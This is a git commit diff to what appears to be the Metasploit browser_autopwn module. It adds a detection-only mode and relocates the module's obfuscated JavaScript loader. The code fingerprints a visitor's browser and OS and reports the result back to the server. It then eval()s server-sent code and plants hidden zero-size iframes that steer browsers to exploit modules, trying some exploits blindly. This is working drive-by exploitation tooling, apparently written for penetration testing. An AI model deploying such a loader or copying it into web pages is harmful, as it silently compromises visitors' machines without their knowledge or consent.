add defanged detection mode. hurray for demoing stuff i haven't committed yet
git-svn-id: file:///home/svn/framework3/trunk@6940 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
1ceb752986
commit
4070c5653b
|
@ -49,14 +49,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
[ 'WebServer', {
|
[ 'WebServer', {
|
||||||
'Description' => 'Start a bunch of modules and direct clients to appropriate exploits'
|
'Description' => 'Start a bunch of modules and direct clients to appropriate exploits'
|
||||||
} ],
|
} ],
|
||||||
|
[ 'DefangedDetection', {
|
||||||
|
'Description' => 'Only perform detection, send no exploits'
|
||||||
|
} ],
|
||||||
[ 'list', {
|
[ 'list', {
|
||||||
'Description' => 'List the exploit modules that would be started'
|
'Description' => 'List the exploit modules that would be started'
|
||||||
} ]
|
} ]
|
||||||
],
|
],
|
||||||
'PassiveActions' =>
|
'PassiveActions' =>
|
||||||
[
|
[ 'WebServer', 'DefangedDetection' ],
|
||||||
'WebServer'
|
|
||||||
],
|
|
||||||
'DefaultAction' => 'WebServer'))
|
'DefaultAction' => 'WebServer'))
|
||||||
|
|
||||||
register_options([
|
register_options([
|
||||||
|
@ -95,6 +96,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
print_line
|
print_line
|
||||||
print_status("Found #{@exploits.length} exploit modules")
|
print_status("Found #{@exploits.length} exploit modules")
|
||||||
|
elsif (action.name == 'DefangedDetection')
|
||||||
|
exploit()
|
||||||
else
|
else
|
||||||
start_exploit_modules()
|
start_exploit_modules()
|
||||||
if @exploits.length < 1
|
if @exploits.length < 1
|
||||||
|
@ -106,6 +109,109 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def setup
|
||||||
|
|
||||||
|
init_js = ::Rex::Exploitation::ObfuscateJS.new
|
||||||
|
init_js << <<-ENDJS
|
||||||
|
|
||||||
|
#{js_os_detect}
|
||||||
|
#{js_base64}
|
||||||
|
function make_xhr() {
|
||||||
|
var xhr;
|
||||||
|
try {
|
||||||
|
xhr = new XMLHttpRequest();
|
||||||
|
} catch(e) {
|
||||||
|
try {
|
||||||
|
xhr = new ActiveXObject("Microsoft.XMLHTTP");
|
||||||
|
} catch(e) {
|
||||||
|
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (! xhr) {
|
||||||
|
throw "failed to create XMLHttpRequest";
|
||||||
|
}
|
||||||
|
return xhr;
|
||||||
|
}
|
||||||
|
|
||||||
|
function report_and_get_exploits(detected_version) {
|
||||||
|
var encoded_detection;
|
||||||
|
xhr = make_xhr();
|
||||||
|
xhr.onreadystatechange = function () {
|
||||||
|
if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
|
||||||
|
eval(xhr.responseText);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
encoded_detection = new String();
|
||||||
|
#{js_debug('navigator.userAgent+"<br><br>"')}
|
||||||
|
for (var prop in detected_version) {
|
||||||
|
#{js_debug('prop + " " + detected_version[prop] +"<br>"')}
|
||||||
|
encoded_detection += detected_version[prop] + ":";
|
||||||
|
}
|
||||||
|
#{js_debug('encoded_detection + "<br>"')}
|
||||||
|
encoded_detection = Base64.encode(encoded_detection);
|
||||||
|
xhr.open("GET", document.location + "?sessid=" + encoded_detection);
|
||||||
|
xhr.send(null);
|
||||||
|
}
|
||||||
|
|
||||||
|
function bodyOnLoad() {
|
||||||
|
var detected_version = getVersion();
|
||||||
|
//#{js_debug('detected_version')}
|
||||||
|
report_and_get_exploits(detected_version);
|
||||||
|
} // function bodyOnLoad
|
||||||
|
ENDJS
|
||||||
|
|
||||||
|
opts = {
|
||||||
|
'Symbols' => {
|
||||||
|
'Variables' => [
|
||||||
|
'xhr',
|
||||||
|
'encoded_detection',
|
||||||
|
],
|
||||||
|
'Methods' => [
|
||||||
|
'report_and_get_exploits',
|
||||||
|
'handler',
|
||||||
|
'bodyOnLoad',
|
||||||
|
]
|
||||||
|
},
|
||||||
|
'Strings' => true,
|
||||||
|
}
|
||||||
|
|
||||||
|
init_js.update_opts(opts)
|
||||||
|
init_js.update_opts(js_os_detect.opts)
|
||||||
|
init_js.update_opts(js_base64.opts)
|
||||||
|
if (datastore['DEBUG'])
|
||||||
|
print_status("Adding debug code")
|
||||||
|
init_js << <<-ENDJS
|
||||||
|
if (!(typeof(debug) == 'function')) {
|
||||||
|
function htmlentities(str) {
|
||||||
|
str = str.replace(/>/g, '>');
|
||||||
|
str = str.replace(/</g, '<');
|
||||||
|
str = str.replace(/&/g, '&');
|
||||||
|
return str;
|
||||||
|
}
|
||||||
|
function debug(msg) {
|
||||||
|
document.body.innerHTML += (msg + "<br />\\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ENDJS
|
||||||
|
else
|
||||||
|
init_js.obfuscate()
|
||||||
|
end
|
||||||
|
|
||||||
|
init_js << "window.onload = #{init_js.sym("bodyOnLoad")};";
|
||||||
|
@init_html = "<html > <head > <title > Loading </title>\n"
|
||||||
|
@init_html << '<script language="javascript" type="text/javascript">'
|
||||||
|
@init_html << "<!-- \n #{init_js} //-->"
|
||||||
|
@init_html << "</script> </head> "
|
||||||
|
@init_html << "<body onload=\"#{init_js.sym("bodyOnLoad")}()\"> "
|
||||||
|
@init_html << "<noscript> \n"
|
||||||
|
@init_html << build_iframe("#{self.get_resource}?ns=1")
|
||||||
|
@init_html << "</noscript> \n"
|
||||||
|
@init_html << "</body> </html> "
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
def init_exploit(name, mod = nil, targ = 0)
|
def init_exploit(name, mod = nil, targ = 0)
|
||||||
if mod.nil?
|
if mod.nil?
|
||||||
@exploits[name] = framework.modules.create(name)
|
@exploits[name] = framework.modules.create(name)
|
||||||
|
@ -125,7 +231,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
# For testing, set the exploit uri to the name of the exploit so it's
|
# For testing, set the exploit uri to the name of the exploit so it's
|
||||||
# easy to tell what is happening from the browser.
|
# easy to tell what is happening from the browser.
|
||||||
# XXX: Set to nil for release
|
|
||||||
if (datastore['DEBUG'])
|
if (datastore['DEBUG'])
|
||||||
@exploits[name].datastore['URIPATH'] = name
|
@exploits[name].datastore['URIPATH'] = name
|
||||||
else
|
else
|
||||||
|
@ -158,6 +263,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def start_exploit_modules()
|
def start_exploit_modules()
|
||||||
@lhost = (datastore['LHOST'] || "0.0.0.0")
|
@lhost = (datastore['LHOST'] || "0.0.0.0")
|
||||||
|
|
||||||
|
@ -227,104 +333,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
tests.sort! {|a,b| b[:rank] <=> a[:rank]}
|
tests.sort! {|a,b| b[:rank] <=> a[:rank]}
|
||||||
}
|
}
|
||||||
|
|
||||||
init_js = ::Rex::Exploitation::ObfuscateJS.new
|
|
||||||
init_js << <<-ENDJS
|
|
||||||
|
|
||||||
#{js_os_detect}
|
|
||||||
#{js_base64}
|
|
||||||
function make_xhr() {
|
|
||||||
var xhr;
|
|
||||||
try {
|
|
||||||
xhr = new XMLHttpRequest();
|
|
||||||
} catch(e) {
|
|
||||||
try {
|
|
||||||
xhr = new ActiveXObject("Microsoft.XMLHTTP");
|
|
||||||
} catch(e) {
|
|
||||||
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (! xhr) {
|
|
||||||
throw "failed to create XMLHttpRequest";
|
|
||||||
}
|
|
||||||
return xhr;
|
|
||||||
}
|
|
||||||
|
|
||||||
function report_and_get_exploits(detected_version) {
|
|
||||||
var encoded_detection;
|
|
||||||
xhr = make_xhr();
|
|
||||||
xhr.onreadystatechange = function () {
|
|
||||||
if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
|
|
||||||
eval(xhr.responseText);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
encoded_detection = new String();
|
|
||||||
#{js_debug('navigator.userAgent+"<br>"')}
|
|
||||||
for (var prop in detected_version) {
|
|
||||||
#{js_debug('prop + " " + detected_version[prop] +"<br>"')}
|
|
||||||
encoded_detection += detected_version[prop] + ":";
|
|
||||||
}
|
|
||||||
#{js_debug('encoded_detection + "<br>"')}
|
|
||||||
encoded_detection = Base64.encode(encoded_detection);
|
|
||||||
xhr.open("GET", document.location + "?sessid=" + encoded_detection);
|
|
||||||
xhr.send(null);
|
|
||||||
}
|
|
||||||
|
|
||||||
function bodyOnLoad() {
|
|
||||||
var detected_version = getVersion();
|
|
||||||
//#{js_debug('detected_version')}
|
|
||||||
report_and_get_exploits(detected_version);
|
|
||||||
} // function bodyOnLoad
|
|
||||||
ENDJS
|
|
||||||
|
|
||||||
opts = {
|
|
||||||
'Symbols' => {
|
|
||||||
'Variables' => [
|
|
||||||
'xhr',
|
|
||||||
'encoded_detection',
|
|
||||||
],
|
|
||||||
'Methods' => [
|
|
||||||
'report_and_get_exploits',
|
|
||||||
'handler',
|
|
||||||
'bodyOnLoad',
|
|
||||||
]
|
|
||||||
},
|
|
||||||
'Strings' => true,
|
|
||||||
}
|
|
||||||
|
|
||||||
init_js.update_opts(opts)
|
|
||||||
init_js.update_opts(js_os_detect.opts)
|
|
||||||
init_js.update_opts(js_base64.opts)
|
|
||||||
if (datastore['DEBUG'])
|
|
||||||
print_status("Adding debug code")
|
|
||||||
init_js << <<-ENDJS
|
|
||||||
if (!(typeof(debug) == 'function')) {
|
|
||||||
function htmlentities(str) {
|
|
||||||
str = str.replace(/>/g, '>');
|
|
||||||
str = str.replace(/</g, '<');
|
|
||||||
str = str.replace(/&/g, '&');
|
|
||||||
return str;
|
|
||||||
}
|
|
||||||
function debug(msg) {
|
|
||||||
document.body.innerHTML += (msg + "<br />\\n");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
ENDJS
|
|
||||||
else
|
|
||||||
init_js.obfuscate()
|
|
||||||
end
|
|
||||||
|
|
||||||
init_js << "window.onload = #{init_js.sym("bodyOnLoad")}";
|
|
||||||
@init_html = "<html > <head > <title > Loading </title>\n"
|
|
||||||
@init_html << '<script language="javascript" type="text/javascript">'
|
|
||||||
@init_html << "<!-- \n #{init_js} //-->"
|
|
||||||
@init_html << "</script> </head> "
|
|
||||||
@init_html << "<body onload=\"#{init_js.sym("bodyOnLoad")}()\"> "
|
|
||||||
@init_html << "<noscript> \n"
|
|
||||||
@init_html << build_iframe("#{self.get_resource}?ns=1")
|
|
||||||
@init_html << "</noscript> \n"
|
|
||||||
@init_html << "</body> </html> "
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
|
@ -346,8 +354,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
# enabled. Includes the results of the javascript fingerprinting
|
# enabled. Includes the results of the javascript fingerprinting
|
||||||
# in the "sessid" parameter as a base64 encoded string.
|
# in the "sessid" parameter as a base64 encoded string.
|
||||||
record_detection(cli, request)
|
record_detection(cli, request)
|
||||||
print_status("Responding with exploits")
|
if (action.name == "DefangedDetection")
|
||||||
response = build_script_response(cli, request)
|
#print_status("")
|
||||||
|
response = create_response()
|
||||||
|
response["Expires"] = "0"
|
||||||
|
response["Cache-Control"] = "must-revalidate"
|
||||||
|
response.body = "Your mom"
|
||||||
|
else
|
||||||
|
print_status("Responding with exploits")
|
||||||
|
response = build_script_response(cli, request)
|
||||||
|
end
|
||||||
|
|
||||||
cli.send_response(response)
|
cli.send_response(response)
|
||||||
when %r{^#{self.get_resource}.*ns=1}
|
when %r{^#{self.get_resource}.*ns=1}
|
||||||
|
@ -415,14 +431,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
host_info = get_host(cli.peerhost)
|
host_info = get_host(cli.peerhost)
|
||||||
|
|
||||||
js = ::Rex::Exploitation::ObfuscateJS.new
|
js = ::Rex::Exploitation::ObfuscateJS.new
|
||||||
# If we didn't get a client database, then the detection is
|
# If we didn't get a client from the database, then the detection
|
||||||
# borked or the db is not connected, so fallback to sending
|
# is borked or the db is not connected, so fallback to sending
|
||||||
# some IE-specific stuff with everything. Otherwise, make
|
# some IE-specific stuff with everything. Do the same if the
|
||||||
# sure this is IE before sending code for ActiveX checks.
|
# exploit didn't specify a client. Otherwise, make sure this is
|
||||||
|
# IE before sending code for ActiveX checks.
|
||||||
if (client_info.nil? || [nil, HttpClients::IE].include?(client_info[:ua_name]))
|
if (client_info.nil? || [nil, HttpClients::IE].include?(client_info[:ua_name]))
|
||||||
# If we have a class name (e.g.: "DirectAnimation.PathControl"),
|
# If we have a class name (e.g.: "DirectAnimation.PathControl"),
|
||||||
# use the simple and direct "new ActiveXObject()". If we
|
# use the simple and direct "new ActiveXObject()". If we
|
||||||
# have a classid instead, first try creating a the object
|
# have a classid instead, first try creating the object
|
||||||
# with createElement("object"). However, some things
|
# with createElement("object"). However, some things
|
||||||
# don't like being created this way (specifically winzip),
|
# don't like being created this way (specifically winzip),
|
||||||
# so try writing out an object tag as well. One of these
|
# so try writing out an object tag as well. One of these
|
||||||
|
@ -462,6 +479,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
ENDJS
|
ENDJS
|
||||||
# End of IE-specific test functions
|
# End of IE-specific test functions
|
||||||
end
|
end
|
||||||
|
# Generic stuff that is needed regardless of what browser was detected.
|
||||||
js << <<-ENDJS
|
js << <<-ENDJS
|
||||||
var written_iframes = new Array();
|
var written_iframes = new Array();
|
||||||
function write_iframe(myframe) {
|
function write_iframe(myframe) {
|
||||||
|
@ -496,12 +514,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
@js_tests.each { |browser, sploits|
|
@js_tests.each { |browser, sploits|
|
||||||
next if sploits.length == 0
|
next if sploits.length == 0
|
||||||
|
#print_status("#{client_info[:ua_name]} =? [nil, #{browser}, 'generic']")
|
||||||
|
#if (browser == "generic" || client_info.nil? || [nil, browser].include?(client_info[:ua_name]))
|
||||||
if (client_info.nil? || [nil, browser, "generic"].include?(client_info[:ua_name]))
|
if (client_info.nil? || [nil, browser, "generic"].include?(client_info[:ua_name]))
|
||||||
# Make sure the browser names can be used as an identifier in
|
# Make sure the browser names can be used as an identifier in
|
||||||
# case something wacky happens to them.
|
# case something wacky happens to them.
|
||||||
func_name = "exploit#{browser.gsub(/[^a-zA-Z]/, '')}"
|
func_name = "exploit#{browser.gsub(/[^a-zA-Z]/, '')}"
|
||||||
js << "function #{func_name}() { \n"
|
js << "function #{func_name}() { \n"
|
||||||
sploits.map do |s|
|
sploits.map do |s|
|
||||||
|
# Skip exploits that don't match the client's OS.
|
||||||
if (host_info and host_info[:os_name] and s[:os_name])
|
if (host_info and host_info[:os_name] and s[:os_name])
|
||||||
next unless s[:os_name].include?(host_info[:os_name])
|
next unless s[:os_name].include?(host_info[:os_name])
|
||||||
end
|
end
|
||||||
|
@ -517,6 +538,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
js << " write_iframe('" + exploit_resource(s[:name]) + "'); "
|
js << " write_iframe('" + exploit_resource(s[:name]) + "'); "
|
||||||
js << " }\n"
|
js << " }\n"
|
||||||
else
|
else
|
||||||
|
# If the exploit doesn't provide a way to check
|
||||||
|
# for the vulnerability, just try it and hope for
|
||||||
|
# the best.
|
||||||
js << " write_iframe('" + exploit_resource(s[:name]) + "');\n"
|
js << " write_iframe('" + exploit_resource(s[:name]) + "');\n"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -589,7 +613,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
# If the database is not connected, use a cache instead.
|
# If the database is not connected, use a cache instead.
|
||||||
# This is less reliable because we're not treating different user
|
# This is less reliable because we're not treating different user
|
||||||
# agents from the same IP as a different hosts.
|
# agents from the same IP as different hosts.
|
||||||
if (!get_client(cli.peerhost, request['User-Agent']))
|
if (!get_client(cli.peerhost, request['User-Agent']))
|
||||||
print_status("No database, using targetcache instead")
|
print_status("No database, using targetcache instead")
|
||||||
@targetcache ||= {}
|
@targetcache ||= {}
|
||||||
|
@ -615,16 +639,22 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
# Override super#get_client to use a cache in case the database
|
# Override super#get_client to use a cache in case the database
|
||||||
# is not available
|
# is not available. It might be a good idea to do this by default,
|
||||||
|
# essentially creating an in-memory database. The upside is that it works
|
||||||
|
# if the database is broken. The downside of course is that querying from
|
||||||
|
# a hash is not as simple or efficient as a database.
|
||||||
def get_client(host, ua)
|
def get_client(host, ua)
|
||||||
return super(host, ua) || @targetcache[host]
|
return super(host, ua) || @targetcache[host]
|
||||||
end
|
end
|
||||||
|
|
||||||
def build_iframe(resource)
|
def build_iframe(resource)
|
||||||
ret = ''
|
ret = ''
|
||||||
#ret << "<p>iframe #{resource}</p>"
|
if (action.name == 'DefangedDetection')
|
||||||
ret << "<iframe src=\"#{resource}\" style=\"visibility:hidden\" height=\"0\" width=\"0\" border=\"0\"></iframe>"
|
ret << "<p>iframe #{resource}</p>"
|
||||||
#ret << "<iframe src=\"#{resource}\" ></iframe>"
|
else
|
||||||
|
ret << "<iframe src=\"#{resource}\" style=\"visibility:hidden\" height=\"0\" width=\"0\" border=\"0\"></iframe>"
|
||||||
|
#ret << "<iframe src=\"#{resource}\" ></iframe>"
|
||||||
|
end
|
||||||
return ret
|
return ret
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue